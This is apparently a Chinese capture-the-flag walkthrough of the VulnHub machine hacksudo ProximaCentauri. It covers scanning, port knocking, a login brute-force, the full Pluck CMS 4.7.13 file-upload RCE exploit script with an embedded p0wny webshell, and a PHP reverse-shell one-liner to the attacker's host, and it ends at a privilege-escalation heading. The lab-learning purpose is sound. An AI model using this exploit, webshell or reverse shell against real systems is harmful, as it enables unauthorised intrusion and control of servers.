靶机描述

靶机地址:https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/

Description

Box created by hacksudo team members vishal Waghmare , Soham Deshmukh This box should be easy to medium . This machine was created for the InfoSec Prep Discord Server (https://discord.gg/tsEQqDJh) and Website (https://hacksudo.com)

This box created for improvement of Linux privileged escalation and CMS skill , I hope so you guys enjoy. The box was created with Virtualbox ,but it should work with VMWare Player and VMWare workstation Upon booting up use netdiscover tool to find IP address you can check ip on grab page . This is the target address based on whatever settings you have. You should verify the address just incase.

Find the root.txt flag submit it to the flagsubmit channel on Discord and get chance to get hacksudo machine hacking course free .

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.3

靶机

IP地址:192.168.9.17

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

⬢  hacksudo: ProximaCentauri  arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.3
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.1     0a:00:27:00:00:12       (Unknown: locally administered)
192.168.9.1     08:00:27:cf:3c:de       PCS Systemtechnik GmbH (DUP: 2)
192.168.9.17    08:00:27:f3:2e:f3       PCS Systemtechnik GmbH3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.316 seconds (110.54 hosts/sec). 3 responded
方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、fping -aqg 指定网段

fping -aqg 192.168.9.0/24

方法五、待补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

⬢  hacksudo: ProximaCentauri  nmap -A -sV -T4 -p-  192.168.9.17
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 04:21 CST
Nmap scan report for bogon (192.168.9.17)
Host is up (0.0025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F3:2E:F3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hopTRACEROUTE
HOP RTT     ADDRESS
1   2.51 ms bogon (192.168.9.17)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.31 seconds

开放了80端口,并发现robots.txt其中显示两个目录

22端口状态为filtered,后期可能会需要进行端口敲门

2.2枚举漏洞

2.2.1 80 端口分析

访问:http://192.168.9.17

在页脚发现该站CMS是pluck

同时得到登录界面:http://192.168.9.17/login.php

除了这个没其他信息了

咱们扫一下目录看看

⬢  hacksudo: ProximaCentauri  gobuster dir -u http://192.168.9.17 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o hacksudo.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.17
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html,bak
[+] Timeout:                 10s
===============================================================
2022/05/09 04:43:14 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 313] [--> http://192.168.9.17/images/]
/login.php            (Status: 200) [Size: 1245]
/docs                 (Status: 301) [Size: 311] [--> http://192.168.9.17/docs/]
/files                (Status: 301) [Size: 312] [--> http://192.168.9.17/files/]
/index.php            (Status: 302) [Size: 0] [--> http://192.168.9.17/?file=hacksudo-proxima-centauri]
/data                 (Status: 301) [Size: 311] [--> http://192.168.9.17/data/]
/admin.php            (Status: 200) [Size: 4584]
/install.php          (Status: 200) [Size: 4593]
/robots.txt           (Status: 200) [Size: 47]
/planet               (Status: 301) [Size: 313] [--> http://192.168.9.17/planet/]
/planet.html          (Status: 200) [Size: 1632]
/requirements.php     (Status: 200) [Size: 4605]
/server-status        (Status: 403) [Size: 277]
/flag1.txt            (Status: 200) [Size: 64]                                                         ===============================================================
2022/05/09 04:46:53 Finished
===============================================================

访问:http://192.168.9.17/flag1.txt

这应该就是所谓的flag1

访问:http://192.168.9.17/docs/

猜测CMS的版本号为pluck 4.7.3

得到了版本号,那就直接去本地搜索一下漏洞库

没发现特别适用此靶机的,接下去分析吧

访问:http://192.168.9.17/planet/

访问:http://192.168.9.17/planet/travel/

好像就是个静止页面,查看一样源代码,发现一串特殊的注释

<!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!>

我们可以从此评论中获得以下信息

  1. 我们应该找到 Proxima Centauri 的坐标
  2. Right Ascension(RA)表示开放
  3. 偏角(Dec)表示关闭

打开关闭短语可能指的是打开和关闭的端口,还记得咱们上边使用 Nmap 时遇到的过滤端口吗?

也就是22端口,这可能是在提示我们执行端口敲门以打开过滤后的端口。

直接访问他提供的google搜索

打开,它说看 RA(赤经)

正如我们在之前的挑战中看到的,我们可以使用这些数字来解锁过滤端口22

也就是说,咱们可以使用端口敲门打开22端口

这里咱们使用knock进行端口敲门:knock 192.168.9.17 14 29 43

⬢  hacksudo: ProximaCentauri  knock 192.168.9.17 14 29 43
⬢  hacksudo: ProximaCentauri  nmap -p 22 192.168.9.17
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 05:06 CST
Nmap scan report for bogon (192.168.9.17)
Host is up (0.00034s latency).PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 08:00:27:F3:2E:F3 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
⬢  hacksudo: ProximaCentauri

成功打开22端口

尝试直接ssh登录看看,是否有相关提示

⬢  hacksudo: ProximaCentauri  ssh 192.168.9.17
The authenticity of host '192.168.9.17 (192.168.9.17)' can't be established.
ED25519 key fingerprint is SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.17' (ED25519) to the list of known hosts.#m    m               #                        #        #    #  mmm    mmm   #   m   mmm   m   m   mmm#   mmm  #mmmm# "   #  #"  "  # m"   #   "  #   #  #" "#  #" "# #    # m"""#  #      #"#     """m  #   #  #   #  #   # #    # "mm"#  "#mm"  #  "m  "mmm"  "mm"#  "#m##  "#m#"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
root@192.168.9.17's password:

这里咱们看到了一个github链接

访问该链接,文件内容如下

 GNU nano 5.4                          pass
proxima
alfa
alfacentauri
proximab
exoplanet
hackme
hackplanet
alfahack
proximatravel
hacktheplanet
hacksudo
hacksudoplanet
vishalastro
alfab
#try for proxima centauri , this is blackwhole effect

还记得那个登录页面吗?

咱们可以尝试使用这个单词列表来破解密码

这里咱们使用 Burpsuite 来爆破

这边设置payloads的时候选择字典时使用刚才获得的小字典

这边成功爆破出密码为hacktheplanet

拿获得密码进行登录

登录后,在左下角发现CMS具体版本号为pluck 4.7.13

2.3漏洞利用

2.3.1 文件上传远程代码执行

去网上搜索下该版本是否有可以利用的EXP

成功找到https://www.exploit-db.com/exploits/49909

# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
''''''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len# Construct Header:
header = {'Host': target_ip,'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'de,en-US;q=0.7,en;q=0.3','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(content_len),'Origin': 'http://' + target_ip,'Connection': 'close','Referer': 'http://' + target_ip + pluckcmspath + '/login.php','Cookie': cookie,'Upgrade-Insecure-Requests': '1'
}# Construct Data:
body = {'cont1': password,'bogus': '','submit': 'Log in',
}# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:print('Password incorrect, please try again:')exit()
else:print('Authentification was succesfull, uploading webshell')print('')'''
Upload Webshell:
'''
# Construct Header:
header = {'Host': target_ip,'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'de,en-US;q=0.7,en;q=0.3','Accept-Encoding': 'gzip, deflate','Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060','Connection': 'close','Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files','Cookie': cookie,'Upgrade-Insecure-Requests': '1'
}# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" οnkeydοwn=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n-----------------------------5170699732428994785525662060--\r\n"# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')
print('')

将其下载到本地,然后根据脚本内容,咱们可以运行以下命令:

python3 49909.py 192.168.9.17 80 hacktheplanet ""

⬢  hacksudo: ProximaCentauri  python3 49909.py 192.168.9.17 80 hacktheplanet ""Authentification was succesfull, uploading webshellUploaded Webshell to: http://192.168.9.17:80/files/shell.phar

浏览器访问:http://192.168.9.17:80/files/shell.phar

成功拿到shell

2.4权限提升

2.4.1 信息收集

进行简单的信息收集,查看当前目录下都有啥,查看一下系统用户

p0wny@shell:…/html/files# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
p0wny@shell:…/html/files# ls -al
total 104
drwxr-xr-x 2 www-data www-data  4096 May  8 17:39 .
drwxr-xr-x 7 www-data www-data  4096 Jun  7  2021 ..
-rwxr-xr-x 1 www-data www-data   128 Jan 29  2020 .htaccess
-rwxrwxr-x 1 www-data www-data 69750 Jun  4  2021 hacksudo.jpg
-rwxrwxr-x 1 www-data www-data 16970 May  8 17:39 shell.phar
p0wny@shell:…/html/files# cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
proxima:x:1001:1001:proxima century,3,3,1,1:/home/proxima:/bin/bash
alfa:x:1000:1000:,,,:/home/alfa:/bin/bash
centauri:x:1002:1002:,,,:/home/centauri:/bin/bash

查看一下备份文件夹是否有东西

p0wny@shell:…/html/files# cd /var/backupsp0wny@shell:/var/backups# ls -al
total 436
drwxr-xr-x  2 root root     4096 Jun  5  2021 .
drwxr-xr-x 12 root root     4096 Jun  4  2021 ..
-rw-r--r--  1 root root    40960 Jun  5  2021 alternatives.tar.0
-rw-r--r--  1 root root     9762 Jun  5  2021 apt.extended_states.0
-rw-r--r--  1 root root      666 Jun  4  2021 apt.extended_states.1.gz
-rw-r--r--  1 root root       98 Jun  4  2021 dpkg.diversions.0
-rw-r--r--  1 root root      172 Jun  4  2021 dpkg.statoverride.0
-rw-r--r--  1 root root   351158 Jun  5  2021 dpkg.status.0
-rw-------  1 root root      704 Jun  4  2021 group.bak
-rw-------  1 root shadow    587 Jun  4  2021 gshadow.bak
-r--r--r--  1 root root     2895 Jun  5  2021 mysql.bak
-rw-------  1 root root     1470 Jun  4  2021 passwd.bak
-rw-------  1 root shadow    969 Jun  4  2021 shadow.bakp0wny@shell:/var/backups# cat mysql.bak

cat 命令在该 shell 中不起作用

咱们使用download命令进行下载到本地进行查看

<?php
/*** The base configuration for WordPress** The wp-config.php creation script uses this file during the installation.* You don't have to use the web site, you can copy this file to "wp-config.php"* and fill in the values.** This file contains the following configurations:** * MySQL settings* * Secret keys* * Database table prefix* * ABSPATH** @link https://wordpress.org/support/article/editing-wp-config-php/** @package WordPress*/// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'proximacentauri' );/** MySQL database username */
define( 'DB_USER', 'alfauser' );/** MySQL database password */
define( 'DB_PASSWORD', 'passw0rd' );/** MySQL hostname */
define( 'DB_HOST', 'localhost' );/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );/**#@+* Authentication unique keys and salts.** Change these to different unique phrases! You can generate these using* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.** You can change these at any point in time to invalidate all existing cookies.* This will force all users to have to log in again.** @since 2.6.0*/
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );/**#@-*//*** WordPress database table prefix.** You can have multiple installations in one database if you give each* a unique prefix. Only numbers, letters, and underscores please!*/
$table_prefix = 'wp_';/*** For developers: WordPress debugging mode.** Change this to true to enable the display of notices during development.* It is strongly recommended that plugin and theme developers use WP_DEBUG* in their development environments.** For information on other constants that can be used for debugging,* visit the documentation.** @link https://wordpress.org/support/article/debugging-in-wordpress/*/
define( 'WP_DEBUG', false );/* Add any custom values between this line and the "stop editing" line. *//* That's all, stop editing! Happy publishing. *//** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {define( 'ABSPATH', __DIR__ . '/' );
}/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

得到数据库用户alfauser密码passw0rd

该文件包含一个 wordpress 应用程序的配置

咱们登录到mysql进行查看

但是这个shell没办法运行相关命令

这里咱们整一个反向shell

本地kali监听:nc -nlvp 6666

``p0wny shell 中运行:php -r ‘$sock=fsockopen(“192.168.9.3”,6666);exec(“bash <&3 >&3 2>&3”);’`

⬢  hacksudo: ProximaCentauri  nc -nlvp 6666
listening on [any] 6666 ...
connect to [192.168.9.3] from (UNKNOWN) [192.168.9.17] 51134
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@ProximaCentauri:/var/backups$

2.4.2 提权至proxima用户

